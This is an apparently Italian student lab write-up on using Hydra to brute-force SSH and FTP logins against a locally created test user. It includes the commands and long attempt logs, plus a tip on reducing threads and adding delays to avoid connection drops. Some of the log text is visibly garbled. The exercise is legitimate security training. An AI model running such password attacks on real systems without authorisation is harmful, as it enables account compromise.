#### Esercizio S6-L5

L'esercizio di oggi ha un duplice scopo:

- Fare pratica con Hydra per craccare l'autenticazione dei servizi di rete.
- Consolidare le conoscenze dei servizi stessi tramite la loro configurazione.

#### Creazione nuovo user

log:test\_user Pwd: testpass

```
-$ sudo adduser test_user
[sudo] password for kali:
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
info: Creating home directory `/home/test_user' ...
info: Copying files from `/etc/skel'
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
        Full Name []:
        Room Number []:
        Work Phone []:
        Home Phone []:
        Other []:
Is the information correct? [Y/n] y
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user itest_user' to group `users'
```

#### Fatto partire service ssh

```
$ sudo service ssh start
(kali⊕ kali)-[~]
$ sudo service ssh status

    ssh.service - OpenBSD Secure Shell server

     Loaded: loaded (/usr/lib/systemd/system/ssh.service; disabled; preset: disabled)
 Active: active (running) since Fri 2024-12-13 09:58:37 CET; 19s ago
Invocation: 7bae3f6201b14abfb54d3b1d9d336a33
        Docs: man:sshd(8)
               man:sshd_config(5)
    Process: 181616 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
   Main PID: 181617 (sshd)
      Tasks: 1 (limit: 9436)
      Memory: 1.3M (peak: 1.7M)
         CPU: 123ms
     CGroup: /system.slice/ssh.service
Dec 13 09:58:37 kali systemd[1]: Starting ssh.service - OpenBSD Secure Shell server...
Dec 13 09:58:37 kali sshd[181617]: Server listening on 0.0.0.0 port 22.
Dec 13 09:58:37 kali sshd[181617]: Server listening on :: port 22.
Dec 13 09:58:37 kali systemd[1]: Started ssh.service - OpenBSD Secure Shell server.
```

#### Test accesso ssh

## Primo test con seclists (impiega troppo tempo)

```
(kali@ kali)-[-]

Shdra -L breviuser.txt -P brevipass.txt 192.168.50.100 -t 4 ssh -V

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is no n-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-13 10:24:21

[MARRING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.rest ore

[DATA] max 4 tasks per 1 server, overall 4 tasks, 56 login tries (l:7/p:8), -14 tries per task

[DATA] attacking ssh://192.168.50.100:22/

[ATTEMPT] target 192.168.50.100 - login "admin" - pass "pass" - 2 of 56 [child 0] (0/0)

[ATTEMPT] target 192.168.50.100 - login "admin" - pass "password" - 3 of 56 [child 1] (0/0)

[ATTEMPT] target 192.168.50.100 - login "admin" - pass "12345" - 4 of 56 [child 3] (0/0)

[ATTEMPT] target 192.168.50.100 - login "admin" - pass "testpass" - 5 of 56 [child 1] (0/0)

[ATTEMPT] target 192.168.50.100 - login "admin" - pass "testpass" - 5 of 56 [child 3] (0/0)

[ATTEMPT] target 192.168.50.100 - login "admin" - pass "testpass" - 5 of 56 [child 3] (0/0)

[ATTEMPT] target 192.168.50.100 - login "admin" - pass "testpass" - 5 of 56 [child 3] (0/0)

[ATTEMPT] target 192.168.50.100 - login "admin" - pass "xxcvb" - 7 of 56 [child 3] (0/0)

[ATTEMPT] target 192.168.50.100 - login "admin" - pass "xxcvb" - 7 of 56 [child 3] (0/0)

[ATTEMPT] target 192.168.50.100 - login "admin" - pass "xxcvb" - 7 of 56 [child 3] (0/0)
```

Riscontro errori dovuti alle troppe richieste e viene chiusa la porta ssh

```
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "" - 7 of 42 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user" - pass "abc123" - 8 of 42 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user" - pass "abc123" - 9 of 42 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user" - pass "password" - 10 of 42 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user" - pass "testpass" - 11 of 42 [child 3] (0/0)
[RE-ATTEMPT] target 192.168.50.100 - login "user" - pass "testpass" - 11 of 42 [child 3] (0/0)
[RE-ATTEMPT] target 192.168.50.100 - login "user" - pass "testpass" - 11 of 42 [child 3] (0/0)
[RE-ATTEMPT] target 192.168.50.100 - login "user" - pass "testpass" - 11 of 42 [child 3] (0/0)
[RE-ATTEMPT] target 192.168.50.100 - login "user" - pass "testpass" - 11 of 42 [child 3] (0/0)
[RE-ATTEMPT] target 192.168.50.100 - login "user" - pass "testpass" - 11 of 42 [child 3] (0/0)
[RE-ATTEMPT] target 192.168.50.100 - login "user" - pass "testpass" - 11 of 42 [child 3] (0/0)
[RE-ATTEMPT] target 192.168.50.100 - login "user" - pass "testpass" - 11 of 42 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user" - pass "testpass" - 13 of 42 [child 3] (0/0)
[RE-ATTEMPT] target 192.168.50.100 - login "user" - pass "testpass" - 13 of 42 [child 3] (0/0)
[RE-ATTEMPT] target 192.168.50.100 - login "user" - pass "testpass" - 13 of 42 [child 3] (0/0)
[RE-ATTEMPT] target 192.168.50.100 - login "user" - pass "testpass" - 13 of 42 [child 3] (0/0)
[RE-ATTEMPT] target 192.168.50.100 - login "user" - pass "testpass" - 13 of 42 [child 3] (0/0)
[RE-ATTEMPT] target 192.168.50.100 - login "user" - pass "testpass" - 13 of 42 [child 3] (0/0)
[RE-ATTEMPT] target 192.168.50.100 - login "user" - pass "testpass" - 13 of 42 [child 3] (0/0)
[RE-ATTEMPT] target 192.168.50.100 - login "test_user" - pass "abc123" - 15 of 43 [child 9] (0/1)
[RE-ATTEMPT] target 192.168.50.100 - login "test_user" - pass "abc123" - 15 of 43 [child 9] (0/1)
[RE-ATTEMPT] target 192.168.50.100 - login "test_user" - pass "abc123" - 15 o
```

Riducendo i thread e ritardando i tentativi ottengo le credenziali

```
(kali@kali)=[~]

$ hydra -L breviuser.txt -P brevipss.txt 192.168.50.100 -t 1 -w 5 ssh -V Hydra v9.5 (c) 2023 by van Hauser/THG & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is no n-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-13 10:57:20

[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.rest ore

[DATA] max 1 task per 1 server, overall 1 task, 42 login tries (1:6p;7), -42 tries per task

[DATA] attacking ssh://192.168.50.1002:20/

[ATTEMPT] target 192.168.50.100 - login "admin" - pass "abc123" - 1 of 42 [child 0] (0/0)

[ATTEMPT] target 192.168.50.100 - login "admin" - pass "password" - 3 of 42 [child 0] (0/0)

[ATTEMPT] target 192.168.50.100 - login "admin" - pass "sasword" - 3 of 42 [child 0] (0/0)

[ATTEMPT] target 192.168.50.100 - login "admin" - pass "sestpass" - 4 of 42 [child 0] (0/0)

[ATTEMPT] target 192.168.50.100 - login "admin" - pass "severty" - 5 of 42 [child 0] (0/0)

[ATTEMPT] target 192.168.50.100 - login "admin" - pass "severty" - 5 of 42 [child 0] (0/0)

[ATTEMPT] target 192.168.50.100 - login "admin" - pass "severty" - 5 of 42 [child 0] (0/0)

[ATTEMPT] target 192.168.50.100 - login "user" - pass "password" - 10 of 42 [child 0] (0/0)

[ATTEMPT] target 192.168.50.100 - login "user" - pass "password" - 10 of 42 [child 0] (0/0)

[ATTEMPT] target 192.168.50.100 - login "user" - pass "password" - 10 of 42 [child 0] (0/0)

[ATTEMPT] target 192.168.50.100 - login "user" - pass "password" - 10 of 42 [child 0] (0/0)

[ATTEMPT] target 192.168.50.100 - login "user" - pass "password" - 10 of 42 [child 0] (0/0)

[ATTEMPT] target 192.168.50.100 - login "user" - pass "password" - 15 of 42 [child 0] (0/0)

[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "pass" - 16 of 42 [child 0] (0/0)

[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "pass" -
```

Test con FTP

installo vsftpd

```
(kali@ kali)-[~]

| hydra -L breviuser.txt -P brevipass.txt localhost -t1 -w 5 ftp -V Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is n-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-13 11:08:11
[DATa] max 1 task per 1 server, overall 1 task, 42 login tries (1:6p:7), -42 tries per task
[DATa] attacking ftp://localhost:21/
[ATTEMPT] target localhost - login "admin" - pass "abc123" - 1 of 42 [child 0] (0/0)
[ATTEMPT] target localhost - login "admin" - pass "pass" - 2 of 42 [child 0] (0/0)
[ATTEMPT] target localhost - login "admin" - pass "pass" - 4 of 42 [child 0] (0/0)
[ATTEMPT] target localhost - login "admin" - pass "setspass" - 4 of 42 [child 0] (0/0)
[ATTEMPT] target localhost - login "admin" - pass "sexvb" - 5 of 42 [child 0] (0/0)
[ATTEMPT] target localhost - login "admin" - pass "sexvb" - 5 of 42 [child 0] (0/0)
[ATTEMPT] target localhost - login "admin" - pass "sexvb" - 5 of 42 [child 0] (0/0)
[ATTEMPT] target localhost - login "user" - pass "abc123" - 8 of 42 [child 0] (0/0)
[ATTEMPT] target localhost - login "user" - pass "password" - 1 of 42 [child 0] (0/0)
[ATTEMPT] target localhost - login "user" - pass "password" - 10 of 42 [child 0] (0/0)
[ATTEMPT] target localhost - login "user" - pass "password" - 10 of 42 [child 0] (0/0)
[ATTEMPT] target localhost - login "user" - pass "password" - 10 of 42 [child 0] (0/0)
[ATTEMPT] target localhost - login "user" - pass "pass" - 11 of 42 [child 0] (0/0)
[ATTEMPT] target localhost - login "user" - pass "pass" - 10 of 42 [child 0] (0/0)
[ATTEMPT] target localhost - login "user" - pass "password" - 17 of 42 [child 0] (0/0)
[ATTEMPT] target localhost - login "test_user" - pass "password" - 17 of 42 [child 0] (0/0)
[ATTEMPT] target localhost - login "test_user" - pass "password" - 17 of 42 [child 0] (0/0)
[ATTEMPT] target localhost - login "test_user" - pass "password" - 17 of 42 [child
```

### Credenziali ftp craccate

# Log ftp